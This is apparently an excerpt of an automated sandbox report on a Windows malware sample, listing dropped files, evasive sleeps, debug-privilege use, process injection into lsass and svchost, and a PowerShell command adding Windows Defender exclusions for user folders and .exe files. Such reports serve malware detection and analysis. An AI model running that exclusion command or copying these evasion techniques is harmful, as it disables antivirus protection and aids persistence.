Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\win32\win32api.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\zstandard\backend_c.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\zstandard\_cffi.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Pythonwin\mfc140u.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_5-31928
Source: C:\Windows\System32\dialer.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	API coverage: 5.6 %
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	API coverage: 0.1 %
Source: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe	API coverage: 5.6 %
Source: C:\Windows\System32\lsass.exe	API coverage: 7.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7212	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6788	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe TID: 7252	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe TID: 7192	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe TID: 7208	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe TID: 7656	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe TID: 7684	Thread sleep count: 6739 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe TID: 7512	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe TID: 7744	Thread sleep count: 2888 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660	Thread sleep count: 8657 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7768	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 6772	Thread sleep count: 1763 > 30
Source: C:\Windows\System32\dialer.exe TID: 6772	Thread sleep time: -176300s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 7716	Thread sleep count: 628 > 30
Source: C:\Windows\System32\dialer.exe TID: 7716	Thread sleep time: -62800s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 4284	Thread sleep count: 4292 > 30
Source: C:\Windows\System32\winlogon.exe TID: 4284	Thread sleep time: -4292000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 4284	Thread sleep count: 5708 > 30
Source: C:\Windows\System32\winlogon.exe TID: 4284	Thread sleep time: -5708000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 7032	Thread sleep count: 7564 > 30
Source: C:\Windows\System32\lsass.exe TID: 7032	Thread sleep time: -7564000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 7032	Thread sleep count: 2409 > 30
Source: C:\Windows\System32\lsass.exe TID: 7032	Thread sleep time: -2409000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5252	Thread sleep count: 1638 > 30
Source: C:\Windows\System32\svchost.exe TID: 5252	Thread sleep time: -1638000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 7564	Thread sleep count: 9852 > 30
Source: C:\Windows\System32\dwm.exe TID: 7564	Thread sleep time: -9852000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5480	Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 5480	Thread sleep time: -250000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6980	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 6980	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2332	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 2332	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7204	Thread sleep count: 245 > 30
Source: C:\Windows\System32\svchost.exe TID: 7204	Thread sleep time: -245000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7396	Thread sleep count: 204 > 30
Source: C:\Windows\System32\svchost.exe TID: 7396	Thread sleep time: -204000s >= -30000s

Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC27DCE0 FindFirstFileExW,	5_2_00000264CC27DCE0
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287E8D00 FindFirstFileExW,FindClose,	5_2_00007FF7287E8D00
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F8670 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	5_2_00007FF7287F8670
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7288026C4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00007FF7288026C4
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F8670 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	5_2_00007FF7287F8670
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3ADCE0 FindFirstFileExW,	10_2_1D3ADCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC64DCE0 FindFirstFileExW,	48_2_00000225DC64DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0AEDCE0 FindFirstFileExW,	54_2_00000202C0AEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A66130DCE0 FindFirstFileExW,	55_2_000002A66130DCE0

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

Code function: 14_2_00007FFDF411BA60 _Py_NoneStruct,_PyArg_ParseTuple_SizeT,GetSystemInfo,VirtualAlloc,_Py_Dealloc,PyExc_MemoryError,PyErr_SetString,_PyObject_GC_New,PyExc_NotImplementedError,PyErr_Format,Py_FatalError,PyObject_GC_Track,PyExc_SystemError,PyErr_SetString,_Py_Dealloc,_Py_Dealloc,

14_2_00007FFDF411BA60

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI72402\VCRUNTIME140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI72402\unicodedata.pyd	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info\entry_points.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI72402\ucrtbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI72402\VCRUNTIME140_1.dll	Jump to behavior

Source: SearchServices.exe, 00000005.00000003.1683887556.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: R3nzSkin_Injector.exe, 00000003.00000002.1718193838.0000019E9FF1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\dialer.exe

API call chain: ExitProcess graph end node

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

Code function: 5_2_00000264CC27D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

5_2_00000264CC27D2A4

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

14_2_00007FFE0E16DA80

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

Code function: 5_2_00000264CC271628 GetProcessHeap,HeapAlloc,RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegCloseKey,

5_2_00000264CC271628

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\w85VkFOxiD.exe	Code function: 0_2_00401541 EntryPoint,memset,SetUnhandledExceptionFilter,__set_app_type,_controlfp,__argc,__argv,_environ,_environ,__argv,__getmainargs,__argc,__argv,_environ,__argc,__argc,exit,	0_2_00401541
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC27D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00000264CC27D2A4
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC277D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00000264CC277D90
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287ECA9C SetUnhandledExceptionFilter,	5_2_00007FF7287ECA9C
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287FB3CC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF7287FB3CC
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287EC8BC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF7287EC8BC
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287EC030 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF7287EC030
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Code function: 6_2_00007FF7B087118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,exit,	6_2_00007FF7B087118B
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Code function: 6_2_00007FF7B08711D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	6_2_00007FF7B08711D8
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_1D3A7D90
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_1D3AD2A4
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFE0E16F7DC SetUnhandledExceptionFilter,	14_2_00007FFE0E16F7DC
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFE0E16E4DC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_00007FFE0E16E4DC
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFE0E16F5F4 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00007FFE0E16F5F4
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 14_2_00007FFE0EB40718 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00007FFE0EB40718
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC647D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	48_2_00000225DC647D90
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC64D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	48_2_00000225DC64D2A4
Source: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe	Code function: 53_2_00007FF6535C118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,exit,	53_2_00007FF6535C118B
Source: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe	Code function: 53_2_00007FF6535C11D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	53_2_00007FF6535C11D8
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0AED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_00000202C0AED2A4
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0AE7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_00000202C0AE7D90
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A66130D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	55_2_000002A66130D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A661307D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	55_2_000002A661307D90

Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force			Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 225DC610000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 202C0AB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A6612D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 2BAAED80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26A87990000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17953770000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2295D530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 253067D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1845B380000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D559040000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 241A9E70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CD73160000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2824E860000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21B473C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2086F9D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17183BC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23FD3F70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2A4150000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 275BDF30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1AAC0260000 protect: page execute and read and write
